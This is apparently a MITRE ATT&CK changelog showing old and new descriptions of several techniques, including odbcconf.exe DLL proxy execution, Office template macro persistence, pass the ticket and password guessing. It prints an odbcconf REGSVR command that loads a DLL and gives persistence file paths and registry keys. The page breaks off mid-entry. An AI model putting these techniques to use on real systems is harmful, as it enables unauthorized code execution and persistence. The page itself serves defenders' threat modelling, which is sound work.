| description | Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab) In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise) | Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab) In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEyeSupplyChain', 'description': 'FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.', 'url': 'https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop'} | |
| external_references | {'source_name': 'Recorded Future Beacon Certificates', 'description': 'Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.', 'url': 'https://www.recordedfuture.com/research/cobalt-strike-servers'} | |
| external_references | {'source_name': 'Splunk Kovar Certificates 2017', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html'} | |
| external_references | {'source_name': 'Analyzing CS Dec 2020', 'description': 'Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.', 'url': 'https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/'} |
Current version: 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse odbcconf.exe to proxy execution of mal | t | 1 | Adversaries may abuse odbcconf.exe to proxy execution of mal |
| > | icious payloads. Odbcconf.exe is a Windows utility that allo | > | icious payloads. Odbcconf.exe is a Windows utility that allo | ||
| > | ws you to configure Open Database Connectivity (ODBC) driver | > | ws you to configure Open Database Connectivity (ODBC) driver | ||
| > | s and data source names.(Citation: Microsoft odbcconf.exe) T | > | s and data source names.(Citation: Microsoft odbcconf.exe) T | ||
| > | he Odbcconf.exe binary may be digitally signed by Microsoft. | > | he Odbcconf.exe binary may be digitally signed by Microsoft. | ||
| > | Adversaries may abuse odbcconf.exe to bypass application c | > | Adversaries may abuse odbcconf.exe to bypass application c | ||
| > | ontrol solutions that do not account for its potential abuse | > | ontrol solutions that do not account for its potential abuse | ||
| > | . Similar to [Regsvr32](https://attack.mitre.org/techniques/ | > | . Similar to [Regsvr32](https://attack.mitre.org/techniques/ | ||
| > | T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that | > | T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that | ||
| > | can be misused to execute DLLs (ex: <code>odbcconf.exe /S / | > | can be misused to execute DLLs (ex: <code>odbcconf.exe /S / | ||
| > | A {REGSVR "C:\Users\Public\file.dll"}</code>). | > | A {REGSVR "C:\Users\Public\file.dll"}</code>). | ||
| > | (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo | > | (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo | ||
| > | Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) | > | Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.640000+00:00 | 2026-11-04 00:43:55.846000+00:00 |
| description | Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.
Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)
| Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.
Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}).(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)
|
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Microsoft Office templates to obtain p | t | 1 | Adversaries may abuse Microsoft Office templates to obtain p |
| > | ersistence on a compromised system. Microsoft Office contain | > | ersistence on a compromised system. Microsoft Office contain | ||
| > | s templates that are part of common Office applications and | > | s templates that are part of common Office applications and | ||
| > | are used to customize styles. The base templates within the | > | are used to customize styles. The base templates within the | ||
| > | application are used each time an application starts. (Citat | > | application are used each time an application starts.(Citati | ||
| > | ion: Microsoft Change Normal Template) Office Visual Basic | > | on: Microsoft Change Normal Template) Office Visual Basic f | ||
| > | for Applications (VBA) macros (Citation: MSDN VBA in Office) | > | or Applications (VBA) macros(Citation: MSDN VBA in Office) c | ||
| > | can be inserted into the base template and used to execute | > | an be inserted into the base template and used to execute co | ||
| > | code when the respective Office application starts in order | > | de when the respective Office application starts in order to | ||
| > | to obtain persistence. Examples for both Word and Excel have | > | obtain persistence. Examples for both Word and Excel have b | ||
| > | been discovered and published. By default, Word has a Norma | > | een discovered and published. By default, Word has a Normal. | ||
| > | l.dotm template created that can be modified to include a ma | > | dotm template created that can be modified to include a mali | ||
| > | licious macro. Excel does not have a template file created b | > | cious macro. Excel does not have a template file created by | ||
| > | y default, but one can be added that will automatically be l | > | default, but one can be added that will automatically be loa | ||
| > | oaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn O | > | ded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Off | ||
| > | ffice Template Macros) Shared templates may also be stored a | > | ice Template Macros) Shared templates may also be stored and | ||
| > | nd pulled from remote locations.(Citation: GlobalDotName Jun | > | pulled from remote locations.(Citation: GlobalDotName Jun 2 | ||
| > | 2019) Word Normal.dotm location:<br> <code>C:\Users\<u | > | 019) Word Normal.dotm location:<br> <code>C:\Users\<use | ||
| > | sername>\AppData\Roaming\Microsoft\Templates\Normal.dotm< | > | rname>\AppData\Roaming\Microsoft\Templates\Normal.dotm</c | ||
| > | /code> Excel Personal.xlsb location:<br> <code>C:\Users\< | > | ode> Excel Personal.xlsb location:<br> <code>C:\Users\<u | ||
| > | ;username>\AppData\Roaming\Microsoft\Excel\XLSTART\PERSON | > | sername>\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL | ||
| > | AL.XLSB</code> Adversaries may also change the location of | > | .XLSB</code> Adversaries may also change the location of th | ||
| > | the base template to point to their own by hijacking the app | > | e base template to point to their own by hijacking the appli | ||
| > | lication's search order, e.g. Word 2016 will first look for | > | cation's search order, e.g. Word 2016 will first look for No | ||
| > | Normal.dotm under <code>C:\Program Files (x86)\Microsoft Off | > | rmal.dotm under <code>C:\Program Files (x86)\Microsoft Offic | ||
| > | ice\root\Office16\</code>, or by modifying the GlobalDotName | > | e\root\Office16\</code>, or by modifying the GlobalDotName r | ||
| > | registry key. By modifying the GlobalDotName registry key a | > | egistry key. By modifying the GlobalDotName registry key an | ||
| > | n adversary can specify an arbitrary location, file name, an | > | adversary can specify an arbitrary location, file name, and | ||
| > | d file extension to use for the template that will be loaded | > | file extension to use for the template that will be loaded o | ||
| > | on application startup. To abuse GlobalDotName, adversaries | > | n application startup. To abuse GlobalDotName, adversaries m | ||
| > | may first need to register the template as a trusted docume | > | ay first need to register the template as a trusted document | ||
| > | nt or place it in a trusted location.(Citation: GlobalDotNam | > | or place it in a trusted location.(Citation: GlobalDotName | ||
| > | e Jun 2019) An adversary may need to enable macros to exec | > | Jun 2019) An adversary may need to enable macros to execut | ||
| > | ute unrestricted depending on the system or enterprise secur | > | e unrestricted depending on the system or enterprise securit | ||
| > | ity policy on use of macros. | > | y policy on use of macros. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.643000+00:00 | 2026-11-04 00:31:45.017000+00:00 |
| description | Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)
Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019)
Word Normal.dotm location:C:\Users\<username>\AppData\Roaming\Microsoft\Templates\Normal.dotm
Excel Personal.xlsb location:C:\Users\<username>\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB
Adversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\Program Files (x86)\Microsoft Office\root\Office16\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019)
An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros. | Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts.(Citation: Microsoft Change Normal Template)
Office Visual Basic for Applications (VBA) macros(Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019)
Word Normal.dotm location:C:\Users\<username>\AppData\Roaming\Microsoft\Templates\Normal.dotm
Excel Personal.xlsb location:C:\Users\<username>\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB
Adversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\Program Files (x86)\Microsoft Office\root\Office16\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019)
An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros. |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CrowdStrike Outlook Forms', 'description': 'Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.', 'url': 'https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746'} | |
| external_references | {'source_name': 'Outlook Today Home Page', 'description': 'Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.', 'url': 'https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943'} |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may “pass the ticket” using stolen Kerberos tick | t | 1 | Adversaries may “pass the ticket” using stolen Kerberos tick |
| > | ets to move laterally within an environment, bypassing norma | > | ets to move laterally within an environment, bypassing norma | ||
| > | l system access controls. Pass the ticket (PtT) is a method | > | l system access controls. Pass the ticket (PtT) is a method | ||
| > | of authenticating to a system using Kerberos tickets without | > | of authenticating to a system using Kerberos tickets without | ||
| > | having access to an account's password. Kerberos authentica | > | having access to an account's password. Kerberos authentica | ||
| > | tion can be used as the first step to lateral movement to a | > | tion can be used as the first step to lateral movement to a | ||
| > | remote system. When preforming PtT, valid Kerberos tickets | > | remote system. When performing PtT, valid Kerberos tickets | ||
| > | for [Valid Accounts](https://attack.mitre.org/techniques/T10 | > | for [Valid Accounts](https://attack.mitre.org/techniques/T10 | ||
| > | 78) are captured by [OS Credential Dumping](https://attack.m | > | 78) are captured by [OS Credential Dumping](https://attack.m | ||
| > | itre.org/techniques/T1003). A user's service tickets or tick | > | itre.org/techniques/T1003). A user's service tickets or tick | ||
| > | et granting ticket (TGT) may be obtained, depending on the l | > | et granting ticket (TGT) may be obtained, depending on the l | ||
| > | evel of access. A service ticket allows for access to a part | > | evel of access. A service ticket allows for access to a part | ||
| > | icular resource, whereas a TGT can be used to request servic | > | icular resource, whereas a TGT can be used to request servic | ||
| > | e tickets from the Ticket Granting Service (TGS) to access a | > | e tickets from the Ticket Granting Service (TGS) to access a | ||
| > | ny resource the user has privileges to access.(Citation: ADS | > | ny resource the user has privileges to access.(Citation: ADS | ||
| > | ecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the T | > | ecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the T | ||
| > | icket) A [Silver Ticket](https://attack.mitre.org/technique | > | icket) A [Silver Ticket](https://attack.mitre.org/technique | ||
| > | s/T1558/002) can be obtained for services that use Kerberos | > | s/T1558/002) can be obtained for services that use Kerberos | ||
| > | as an authentication mechanism and are used to generate tick | > | as an authentication mechanism and are used to generate tick | ||
| > | ets to access that particular resource and the system that h | > | ets to access that particular resource and the system that h | ||
| > | osts the resource (e.g., SharePoint).(Citation: ADSecurity A | > | osts the resource (e.g., SharePoint).(Citation: ADSecurity A | ||
| > | D Kerberos Attacks) A [Golden Ticket](https://attack.mitre. | > | D Kerberos Attacks) A [Golden Ticket](https://attack.mitre. | ||
| > | org/techniques/T1558/001) can be obtained for the domain usi | > | org/techniques/T1558/001) can be obtained for the domain usi | ||
| > | ng the Key Distribution Service account KRBTGT account NTLM | > | ng the Key Distribution Service account KRBTGT account NTLM | ||
| > | hash, which enables generation of TGTs for any account in Ac | > | hash, which enables generation of TGTs for any account in Ac | ||
| > | tive Directory.(Citation: Campbell 2014) Adversaries may al | > | tive Directory.(Citation: Campbell 2014) Adversaries may al | ||
| > | so create a valid Kerberos ticket using other user informati | > | so create a valid Kerberos ticket using other user informati | ||
| > | on, such as stolen password hashes or AES keys. For example, | > | on, such as stolen password hashes or AES keys. For example, | ||
| > | "overpassing the hash" involves using a NTLM password hash | > | "overpassing the hash" involves using an NTLM password hash | ||
| > | to authenticate as a user (i.e. [Pass the Hash](https://atta | > | to authenticate as a user (i.e. [Pass the Hash](https://att | ||
| > | ck.mitre.org/techniques/T1550/002)) while also using the pas | > | ack.mitre.org/techniques/T1550/002)) while also using the pa | ||
| > | sword hash to create a valid Kerberos ticket.(Citation: Stea | > | ssword hash to create a valid Kerberos ticket.(Citation: Ste | ||
| > | lthbits Overpass-the-Hash) | > | althbits Overpass-the-Hash) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.643000+00:00 | 2026-11-03 23:23:29.066000+00:00 |
| description | Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system. When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket) A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks) A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014) Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash) | Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system. When performing PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket) A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks) A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014) Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using an NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash) |
Current version: 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use password cracking to attempt to recover | t | 1 | Adversaries may use password cracking to attempt to recover |
| > | usable credentials, such as plaintext passwords, when creden | > | usable credentials, such as plaintext passwords, when creden | ||
| > | tial material such as password hashes are obtained. [OS Cred | > | tial material such as password hashes are obtained. [OS Cred | ||
| > | ential Dumping](https://attack.mitre.org/techniques/T1003) c | > | ential Dumping](https://attack.mitre.org/techniques/T1003) c | ||
| > | an be used to obtain password hashes, this may only get an a | > | an be used to obtain password hashes, this may only get an a | ||
| > | dversary so far when [Pass the Hash](https://attack.mitre.or | > | dversary so far when [Pass the Hash](https://attack.mitre.or | ||
| > | g/techniques/T1550/002) is not an option. Further, adversar | > | g/techniques/T1550/002) is not an option. Further, adversar | ||
| > | ies may leverage [Data from Configuration Repository](https: | > | ies may leverage [Data from Configuration Repository](https: | ||
| > | //attack.mitre.org/techniques/T1602) in order to obtain hash | > | //attack.mitre.org/techniques/T1602) in order to obtain hash | ||
| > | ed credentials for network devices.(Citation: US-CERT-TA18-1 | > | ed credentials for network devices.(Citation: US-CERT-TA18-1 | ||
| > | 06A) Techniques to systematically guess the passwords used | > | 06A) Techniques to systematically guess the passwords used | ||
| > | to compute hashes are available, or the adversary may use a | > | to compute hashes are available, or the adversary may use a | ||
| > | pre-computed rainbow table to crack hashes. Cracking hashes | > | pre-computed rainbow table to crack hashes. Cracking hashes | ||
| > | is usually done on adversary-controlled systems outside of | > | is usually done on adversary-controlled systems outside of | ||
| > | the target network.(Citation: Wikipedia Password cracking) T | > | the target network.(Citation: Wikipedia Password cracking) T | ||
| > | he resulting plaintext password resulting from a successfull | > | he resulting plaintext password resulting from a successfull | ||
| > | y cracked hash may be used to log into systems, resources, a | > | y cracked hash may be used to log into systems, resources, a | ||
| > | nd services in which the account has access. | > | nd services to which the account has access. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.622000+00:00 | 2026-11-04 03:14:59.745000+00:00 |
| description | Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access. | Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services to which the account has access. |
Current version: 1.7
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries with no prior knowledge of legitimate credential | t | 1 | Adversaries with no prior knowledge of legitimate credential |
| > | s within the system or environment may guess passwords to at | > | s within the system or environment may guess passwords to at | ||
| > | tempt access to accounts. Without knowledge of the password | > | tempt access to accounts. Without knowledge of the password | ||
| > | for an account, an adversary may opt to systematically guess | > | for an account, an adversary may opt to systematically guess | ||
| > | the password using a repetitive or iterative mechanism. An | > | the password using a repetitive or iterative mechanism. An | ||
| > | adversary may guess login credentials without prior knowledg | > | adversary may guess login credentials without prior knowledg | ||
| > | e of system or environment passwords during an operation by | > | e of system or environment passwords during an operation by | ||
| > | using a list of common passwords. Password guessing may or m | > | using a list of common passwords. Password guessing may or m | ||
| > | ay not take into account the target's policies on password c | > | ay not take into account the target's policies on password c | ||
| > | omplexity or use policies that may lock accounts out after a | > | omplexity or use policies that may lock accounts out after a | ||
| > | number of failed attempts. Guessing passwords can be a ris | > | number of failed attempts. Guessing passwords can be a ris | ||
| > | ky option because it could cause numerous authentication fai | > | ky option because it could cause numerous authentication fai | ||
| > | lures and account lockouts, depending on the organization's | > | lures and account lockouts, depending on the organization's | ||
| > | login failure policies. (Citation: Cylance Cleaver) Typical | > | login failure policies.(Citation: Cylance Cleaver) Typicall | ||
| > | ly, management services over commonly used ports are used wh | > | y, management services over commonly used ports are used whe | ||
| > | en guessing passwords. Commonly targeted services include th | > | n guessing passwords. Commonly targeted services include the | ||
| > | e following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP | > | following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) | ||
| > | ) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TC | > | * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP | ||
| > | P) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) | > | ) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * | ||
| > | * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL ( | > | HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1 | ||
| > | 1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900 | > | 433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/ | ||
| > | /TCP) * SNMP (161/UDP and 162/TCP/UDP) In addition to manag | > | TCP) * SNMP (161/UDP and 162/TCP/UDP) In addition to manage | ||
| > | ement services, adversaries may "target single sign-on (SSO) | > | ment services, adversaries may "target single sign-on (SSO) | ||
| > | and cloud-based applications utilizing federated authentica | > | and cloud-based applications utilizing federated authenticat | ||
| > | tion protocols," as well as externally facing email applicat | > | ion protocols," as well as externally facing email applicati | ||
| > | ions, such as Office 365.(Citation: US-CERT TA18-068A 2018). | > | ons, such as Office 365.(Citation: US-CERT TA18-068A 2018) F | ||
| > | Further, adversaries may abuse network device interfaces (s | > | urther, adversaries may abuse network device interfaces (suc | ||
| > | uch as `wlanAPI`) to brute force accessible wifi-router(s) v | > | h as `wlanAPI`) to brute force accessible wifi-router(s) via | ||
| > | ia wireless authentication protocols.(Citation: Trend Micro | > | wireless authentication protocols.(Citation: Trend Micro Em | ||
| > | Emotet 2020) In default environments, LDAP and Kerberos con | > | otet 2020) In default environments, LDAP and Kerberos conne | ||
| > | nection attempts are less likely to trigger events over SMB, | > | ction attempts are less likely to trigger events over SMB, w | ||
| > | which creates Windows "logon failure" event ID 4625. | > | hich creates Windows "logon failure" event ID 4625. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.620000+00:00 | 2026-11-03 23:41:24.595000+00:00 |
| description | Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts. Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver) Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) * SNMP (161/UDP and 162/TCP/UDP) In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020) In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625. | Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts. Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.(Citation: Cylance Cleaver) Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) * SNMP (161/UDP and 162/TCP/UDP) In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020) In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625. |
Current version: 1.7
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to access detailed information about | t | 1 | Adversaries may attempt to access detailed information about |
| > | the password policy used within an enterprise network or cl | > | the password policy used within an enterprise network or cl | ||
| > | oud environment. Password policies are a way to enforce comp | > | oud environment. Password policies are a way to enforce comp | ||
| > | lex passwords that are difficult to guess or crack through [ | > | lex passwords that are difficult to guess or crack through [ | ||
